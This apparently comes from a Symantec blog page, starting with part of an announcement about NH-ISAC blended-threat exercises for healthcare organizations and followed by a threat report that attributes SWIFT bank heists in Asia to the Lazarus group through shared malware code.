A Needed Discussion
While such a worst-case scenario might seem unlikely, it is still eminently possible. There have been 165 cyber incidents reported through the Department of Health and Human Services’ Office of Civil Rights Breach Portal during the first half of 2018, affecting more than 3.2 million individuals.
Both April and May saw the highest numbers of reported incidents this year, with more than 800,000 individuals affected each month. While these numbers do not cover a long enough period to establish a trend, they are alarming on their own. NH-ISAC helps healthcare organizations share threat information that could aid in this fight to reduce breaches.
As cyber threats continue to evolve, healthcare organizations need to stay abreast not only of the threats, but also stay informed about industry best practices to combat them. This includes both cyber and physical threats that offer different problems, and require a different approach, from healthcare providers.
Symantec is proud to take part in this program. We take great pride in our partnership with NH-ISAC and see information sharing among healthcare organizations as a valuable part of a comprehensive overall cyber defense.
To help with the planning and response to potential blended security incidents, this series of exercises will include the following:
August 28: Gilead Sciences – Foster City, CA
September 10: Christiana Care Health System – Newark, DE
October 2: Philips Healthcare – Alpharetta, GA
October 4: Johns Hopkins Univ. Applied Physics Lab – Laurel, MD
November 19: Cedars Sinai Medical Center – Los Angeles, CA
The first event was held July 25 at Boston Scientific in Maple Grove, Minnesota. The early feedback has been positive, as attendees worked through a blended scenario localized to their specific area. They were able to discuss the challenges, but more importantly think about the different aspects of a blended attack and how they impact one another.
These scenarios not only present an opportunity for healthcare leaders to share their thoughts on how to manage difficult situations, as well as a time to think outside the box. As cyber threats continue to evolve so must those that defend it. These exercises will provide an opportunity to hold those conversations, along with so much more.
While these scenarios are difficult, they will be discussed in a low stress environment. The goal is to facilitate a conversation about best practices, not to hold attendees’ feet to the fire.
“We want them to walk away more aware of the types of threats and challenges they may face, while better knowing their professional colleagues. The goal is to return to their organizations with knowledge to enhance their security and resilience,” Anderson said. “We want them to really think about all of the possible scenarios they could encounter along with the impacts and consequences.”
If you found this information useful, you may also enjoy:
Register for Blended Threats Exercise Series
Symantec White Paper: Blended Attacks Exploits, Vulnerabilities and Buffer-Overflow Techniques in Computer Viruses
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SWIFT attackers’ malware linked to more financial attacks
Bank in Philippines also attacked by group that stole $81 million from the Bangladesh central bank.
Symantec has found evidence that a bank in the Philippines has also been attacked by the group that stole US$81 million from the Bangladesh central bank and attempted to steal over $1 million from the Tien Phong Bank in Vietnam.
Malware used by the group was also deployed in targeted attacks against a bank in the Philippines. In addition to this, some of the tools used share code similarities with malware used in historic attacks linked to a threat group known as Lazarus. The attacks can be traced back as far as October 2015, two months prior to the discovery of the failed attack in Vietnam, which was hitherto the earliest known incident.
The attack against the Bangladesh central bank triggered an alert by payments network SWIFT, after it was found the attackers had used malware to cover up evidence of fraudulent transfers. SWIFT issued a further warning, saying that it had found evidence of malware being used against another bank in a similar fashion. Vietnam’s Tien Phong Bank subsequently stated that it intercepted a fraudulent transfer of over $1 million in the fourth quarter of last year. SWIFT concluded that the second attack indicates that a “wider and highly adaptive campaign” is underway targeting banks.
A third bank, Banco del Austro in Ecuador, was also reported to have lost $12 million to attackers using fraudulent SWIFT transactions. However, no details are currently known about the tools used in this incident or if there are any links to the attacks in Asia.
Discovery of additional tools used by attackers
Symantec has identified three pieces of malware which were being used in limited targeted attacks against the financial industry in South-East Asia: Backdoor.Fimlis, Backdoor.Fimlis.B, and Backdoor.Contopee. At first, it was unclear what the motivation behind these attacks were, however code sharing between Trojan.Banswift (used in the Bangladesh attack used to manipulate SWIFT transactions) and early variants of Backdoor.Contopee provided a connection.
While analyzing samples of Trojan.Banswift, a distinct file wiping code was found. Some of the distinctive properties of the wiping code include:
Function takes two parameters: path of file to overwrite and number of iterations (max six)
It will initially overwrite the last byte of the target file with 0x5F
Six “control” bytes are supplied which dictate what bytes are used during the overwrite process
Figure 1. Unique wiping code found in Trojan.Banswift and additional Lazarus tools
Already this code looked fairly unique. What was even more interesting was that when we searched for additional malware containing the exact combination of “control” bytes, an early variant of Backdoor.Contopee and the “msoutc.exe” sample already discussed in the recent BAE blog analyzing the Bangladesh attack were also found.
Symantec believes distinctive code shared between families and the fact that Backdoor.Contopee was being used in limited targeted attacks against financial institutions in the region, means these tools can be attributed to the same group.
Historical attacks
Backdoor.Contopee has been previously used by attackers associated with a broad threat group known as Lazarus. Lazarus has been linked to a string of aggressive attacks since 2009, largely focused on targets in the US and South Korea. The group was linked to Backdoor.Destover, a highly destructive Trojan that was the subject of an FBI warning after it was used in an attack against Sony Pictures Entertainment. The FBI concluded that the North Korean government was responsible for this attack.
The group was the target of a cross-industry initiative known as Operation Blockbuster earlier this year, which involved major security vendors sharing intelligence and resources in order to assist commercial and government organizations in protecting themselves against Lazarus. As part of the initiative, vendors are circulating malware signatures and other useful intelligence related to these attackers.
Ongoing danger
The discovery of more attacks provides further evidence that the group involved is conducting a wide campaign against financial targets in the region. While awareness of the threat posed by the group has now been raised, its initial success may prompt other attack groups to launch similar attacks. Banks and other financial institutions should remain vigilant.
Protection
Symantec and Norton products protect against these threats with the following detections:
Antivirus
Trojan.Banswift
Trojan.Banswift!gen1
Backdoor.Contopee
Backdoor.Fimlis
Backdoor.Fimlis.B
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